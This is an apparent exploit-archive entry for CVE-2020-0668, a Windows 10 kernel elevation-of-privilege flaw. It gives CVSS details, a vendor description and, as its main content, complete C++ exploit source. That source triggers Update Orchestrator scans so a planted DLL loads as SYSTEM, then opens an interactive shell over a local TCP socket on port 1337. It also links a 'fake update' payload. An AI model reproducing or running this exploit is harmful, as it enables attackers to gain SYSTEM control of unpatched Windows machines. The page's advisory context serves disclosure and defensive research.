Windows 10 Kernel Elevation of Privilege Vulnerability

2020.02.29
Risk: High
Local: Yes
Remote: No
CWE: CWE-269


CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Windows Kernel Elevation of Privilege Vulnerability + PWN-OS-FAKE UPDATE Windows 10 - Local # Author: nu11secur1ty # Date: 2020-02-27 # Vendor: Microsoft # Link: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0668 # CVE: 2020-0668 [+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) [+] Website: https://www.nu11secur1ty.com/ [+] Source: https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0668 [+] twitter.com/nu11secur1ty [Exploit Program Code] # 2020-0668-WKEPV - - 2020-0668-WKEPV.cpp #include <iostream> #include "MiniUsoClient.h" #include "TcpClient.h" #define TEMPO 2000 int wmain(int argc, wchar_t** argv) { TcpClient tcpClient; int iRes = 0; // Try to trigger DLL loading with 'StartScan' wprintf_s(L"[*] Using UpdateOrchestrator->StartScan()\n"); MiniUsoClient miniUsoClient; if (!miniUsoClient.Run(USO_STARTSCAN)) return 1; //wprintf_s(L"[*] Waiting for the DLL to be loaded...\n"); Sleep(TEMPO); iRes = tcpClient.connectTCP("127.0.0.1", "1337"); if (iRes != 0) { wprintf_s(L"[*] Retrying with UpdateOrchestrator->StartInteractiveScan()\n"); if (!miniUsoClient.Run(USO_STARTINTERACTIVESCAN)) return 2; Sleep(TEMPO); iRes = tcpClient.connectTCP("127.0.0.1", "1337"); } if (iRes != 0) { wprintf_s(L"[*] Retrying with UpdateOrchestrator->StartDownload()\n"); if (!miniUsoClient.Run(USO_STARTDOWNLOAD)) return 3; Sleep(TEMPO); iRes = tcpClient.connectTCP("127.0.0.1", "1337"); } if (iRes != 0) { wprintf_s(L"[-] Exploit failed."); } else { wprintf_s(L"[+] Exploit successfull @nu11secur1ty"); } return 0; } ----------------------------------------------------------------- - - MiniUsoClient.cpp #include "MiniUsoClient.h" #pragma comment(lib, "rpcrt4.lib") MiniUsoClient::MiniUsoClient() { HRESULT hResult; hResult = CoInitializeEx(0, COINIT_MULTITHREADED); if (FAILED(hResult)) { wprintf_s(L" |__ CoInitializeEx() failed. Error code = 0x%08X\n", hResult); _ready = false; } else { _ready = true; } } MiniUsoClient::~MiniUsoClient() { CoUninitialize(); } void MiniUsoClient::ThrowOnError(HRESULT hResult) { if (hResult != 0) { throw _com_error(hResult); } } bool MiniUsoClient::Run(UsoAction action) { HRESULT hResult; if (this->_ready) { wprintf_s(L" |__ Creating instance of 'UpdateSessionOrchestrator'... "); GUID CLSID_UpdateSessionOrchestrator = { 0xb91d5831, 0xb1bd, 0x4608, { 0x81, 0x98, 0xd7, 0x2e, 0x15, 0x50, 0x20, 0xf7 } }; IUpdateSessionOrchestratorPtr updateSessionOrchestrator; hResult = CoCreateInstance(CLSID_UpdateSessionOrchestrator, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&updateSessionOrchestrator)); if (FAILED(hResult)) { wprintf_s(L"\n |__ CoCreateInstance() failed. Error code = 0x%08X\n", hResult); CoUninitialize(); return false; } wprintf_s(L"Done.\n"); IUsoSessionCommonPtr usoSessionCommon; GUID IID_IUsoSessionCommon = { 0xfccc288d, 0xb47e, 0x41fa, { 0x97, 0x0c, 0x93, 0x5e, 0xc9, 0x52, 0xf4, 0xa4 } }; try { wprintf_s(L" |__ Creating a new Update Session... "); updateSessionOrchestrator->CreateUpdateSession(1, &IID_IUsoSessionCommon, &usoSessionCommon); wprintf_s(L"Done.\n"); //wprintf_s(L" |__ Calling 'CoSetProxyBlanket()'... "); ThrowOnError(CoSetProxyBlanket(usoSessionCommon, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL)); //wprintf_s(L"Done.\n"); switch (action) { case USO_STARTSCAN: wprintf(L" |__ Calling 'StartScan'... "); ThrowOnError(usoSessionCommon->Proc21(0, 0, L"ScanTriggerUsoClient")); wprintf(L"Done.\n"); break; case USO_STARTDOWNLOAD: wprintf(L" |__ Calling 'StartDownload'... "); ThrowOnError(usoSessionCommon->Proc22(0)); wprintf(L"Done.\n"); break; case USO_STARTINTERACTIVESCAN: wprintf(L" |__ Calling 'StartInteractiveScan'... "); ThrowOnError(usoSessionCommon->Proc21(0xffffffff, 0, L"ScanTriggerUsoClientInteractive")); wprintf(L"Done.\n"); break; } } catch (const _com_error& error) { wprintf_s(L"\n |__ Something went wrong (%08X - \"%ls\").\n", error.Error(), error.ErrorMessage()); return false; } } else { return false; } return true; } ------------------------------------------------------------------- - - TcpClient.cpp #include <winsock2.h> #include <ws2tcpip.h> #include <stdlib.h> #include <stdio.h> #include <iostream> #include "TcpClient.h" #pragma comment (lib, "Ws2_32.lib") #pragma comment (lib, "Mswsock.lib") #pragma comment (lib, "AdvApi32.lib") TcpClient::TcpClient(){} TcpClient::~TcpClient() { WSACleanup(); } int TcpClient::connectTCP(const char* hostname, const char* port) { WSADATA wsaData; SOCKET socketClient = INVALID_SOCKET; struct addrinfo* result = NULL, * ptr = NULL, hints; int iResult = 0; //int recvbuflen = BUFSIZE; DWORD dwThreadIdOut; DWORD dwThreadIdIn; HANDLE hThreadOut; HANDLE hThreadIn; // Initialize Winsock iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { wprintf_s(L"WSAStartup failed with error: %d\n", iResult); return 1; } ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; // Resolve the server address and port iResult = getaddrinfo(hostname, port, &hints, &result); if (iResult != 0) { wprintf_s(L"getaddrinfo failed with error: %d\n", iResult); WSACleanup(); return 1; } // Attempt to connect to an address until one succeeds for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { // Create a SOCKET for connecting to server socketClient = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (socketClient == INVALID_SOCKET) { wprintf_s(L"socket failed with error: %ld\n", WSAGetLastError()); WSACleanup(); return 1; } // Connect to server. iResult = connect(socketClient, ptr->ai_addr, (int)ptr->ai_addrlen); if (iResult == SOCKET_ERROR) { closesocket(socketClient); socketClient = INVALID_SOCKET; continue; } break; } freeaddrinfo(result); if (socketClient == INVALID_SOCKET) { wprintf_s(L"[-] Unable to connect to server!\n"); WSACleanup(); return 1; } // Create a thread to receive data from the socket in an infinite loop hThreadOut = CreateThread(NULL, 0, ReceiveDataFromSocket, (LPVOID)socketClient, 0, &dwThreadIdOut); if (hThreadOut == NULL) { wprintf_s(L"[-] Create thread failed: ReceiveDataFromSocket\n"); return -1; } // Create a thread to read user input in an infinite loop hThreadIn = CreateThread(NULL, 0, SendDataFromConsole, (LPVOID)socketClient, 0, &dwThreadIdIn); if (hThreadIn == NULL) { wprintf_s(L"[-] Create thread failed: SendDataFromConsole\n"); return -1; } wprintf_s(L"[+] Spawning shell...\n"); // Wait for the socket to be closed WaitForSingleObject(hThreadOut, INFINITE); // shutdown the connection since no more data will be sent iResult = shutdown(socketClient, SD_SEND); if (iResult == SOCKET_ERROR) { wprintf_s(L"shutdown failed with error: %d\n", WSAGetLastError()); closesocket(socketClient); WSACleanup(); return 1; } // cleanup CloseHandle(hThreadIn); CloseHandle(hThreadOut); closesocket(socketClient); WSACleanup(); return 0; } DWORD WINAPI TcpClient::ReceiveDataFromSocket(LPVOID lpvParam) { int iResult; SOCKET socketClient = (SOCKET)lpvParam; char bufReceive[BUFSIZE]; while (true) { ZeroMemory(bufReceive, BUFSIZE); iResult = recv(socketClient, bufReceive, BUFSIZE, 0); if (iResult > 0) { printf("%s", bufReceive); } else break; } return 0; } DWORD WINAPI TcpClient::SendDataFromConsole(LPVOID lpvParam) { HANDLE hStdin; BOOL bSuccess = FALSE; DWORD dwRead = 0; SOCKET socketClient = (SOCKET)lpvParam; int iResult = 0; char bufCmd[BUFSIZE]; char* pCr = { 0 }; char* pLf = { 0 }; // Get a handle on standard input hStdin = GetStdHandle(STD_INPUT_HANDLE); if (hStdin == INVALID_HANDLE_VALUE) return 1; while (true) { bSuccess = ReadFile(hStdin, bufCmd, BUFSIZE, &dwRead, NULL); if (bSuccess == FALSE) break; pCr = strchr(bufCmd, '\r'); if (pCr != NULL) { pLf = strchr(bufCmd, '\n'); if (pLf != NULL) { pCr[0] = '\n'; pLf[0] = 0; } } iResult = send(socketClient, bufCmd, (int)strlen(bufCmd), 0); if (iResult == SOCKET_ERROR) { printf("send failed with error: %d\n", WSAGetLastError()); break; } } return 0; } - - PWN-OS-FAKE-UPDATE [link] https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0668/PWN-Fake-UPDATE-WIN10/Microupdate ####################################################################### [Vendor] Microsoft [Vulnerability Type] Windows Kernel Elevation of Privilege Vulnerability [CVE Reference] An elevation of privilege vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions. To exploit the vulnerability, a locally authenticated attacker could run a specially crafted application. The security update addresses the vulnerability by ensuring the Windows Kernel properly handles objects in memory. [Security Issue] This vulnerability allows local attackers to escalate privileges on affected installations of Microsoft Windows. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the Tracing functionality used by the Routing and Remote Access service. The issue results from the lack of proper permissions on registry keys that control this functionality. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of SYSTEM. [Network Access] Local [Video] https://www.youtube.com/watch?v=ml2feXa6cCY [Disclosure Timeline] Published: 02/11/2020 [Conclusion] The building of a new module for restricting and checking a malicious execution code from any local user on the machine. For example, please see: https://github.com/nu11secur1ty/insmod_block @nu11secur1ty https://www.nu11secur1ty.com/ BR

References:

https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0668
https://twitter.com/nu11secur1ty
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0668


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